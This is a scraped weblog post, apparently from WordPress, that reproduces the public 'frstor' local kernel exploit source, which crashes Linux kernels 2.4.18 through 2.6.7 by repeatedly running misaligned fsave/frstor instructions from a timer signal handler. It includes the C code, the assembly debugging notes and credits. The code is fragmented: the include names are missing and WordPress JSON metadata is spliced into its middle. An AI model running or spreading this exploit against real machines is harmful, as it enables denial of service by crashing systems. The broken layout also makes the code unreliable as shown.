\/* ——————–
\n * frstor Local Kernel exploit
\n * Crashes any kernel from 2.4.18
\n * to 2.6.7 because frstor in assembler
\n * inline offsets in memory by 4.
\n * Original proof of concept code
\n * by stian_@_nixia.no.
\n * Added some stuff by lorenzo_@_gnu.org
\n * and fixed the fsave line with (*fpubuf).
\n * ——————–
\n *\/<\/p>\n
\/*
\n ———
\n Some debugging information made
\n available by stian_@_nixia.no
\n ———
\n TakeDown:
\n pushl %ebp
\n movl %esp, %ebp
\n subl $136, %esp
\n leal -120(%ebp), %eax
\n movl %eax, -124(%ebp)
\n #APP
\n fsave -124(%ebp)<\/p>\n
#NO_APP
\n subl $4, %esp
\n pushl $1
\n pushl $.LC0
\n pushl $2
\n call write
\n addl $16, %esp
\n leal -120(%ebp), %eax
\n movl %eax, -128(%ebp)
\n #APP
\n frstor -128(%ebp)<\/p>\n
#NO_APP
\n leave
\n ret
\n *\/<\/p>\n
#include static void TakeDown(int ignore) int main(int argc, char *argv[]) return 0; \/* ——————– * frstor Local Kernel exploit * Crashes any kernel from 2.4.18 * to 2.6.7 because frstor in assembler * inline offsets in memory by 4. * Original proof of concept code * by stian_@_nixia.no. * Added some stuff by lorenzo_@_gnu.org * and fixed the fsave line with (*fpubuf). * ——————– *\/ \/* ——— […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-weblog"],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/pfkwZS-3f","jetpack_sharing_enabled":true,"jetpack-related-posts":[],"_links":{"self":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/comments?post=201"}],"version-history":[{"count":0,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts\/201\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/media?parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/categories?post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/tags?post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n #include
\n #include
\n {
\n char fpubuf[108];
\n \/\/ __asm__ __volatile__ (“fsave %0n” : : “m”(fpubuf));
\n __asm__ __volatile__ (“fsave %0n” : : “m”(*fpubuf));
\n write(2, “*”, 1);
\n __asm__ __volatile__ (“frstor %0n” : : “m”(fpubuf));
\n }<\/p>\n
\n {
\n struct itimerval spec;
\n signal(SIGALRM, TakeDown);
\n spec.it_interval.tv_sec=0;
\n spec.it_interval.tv_usec=100;
\n spec.it_value.tv_sec=0;
\n spec.it_value.tv_usec=100;
\n setitimer(ITIMER_REAL, &spec, NULL);
\n while(1)
\n write(1, “.”, 1);<\/p>\n
\n }
\n \/\/ <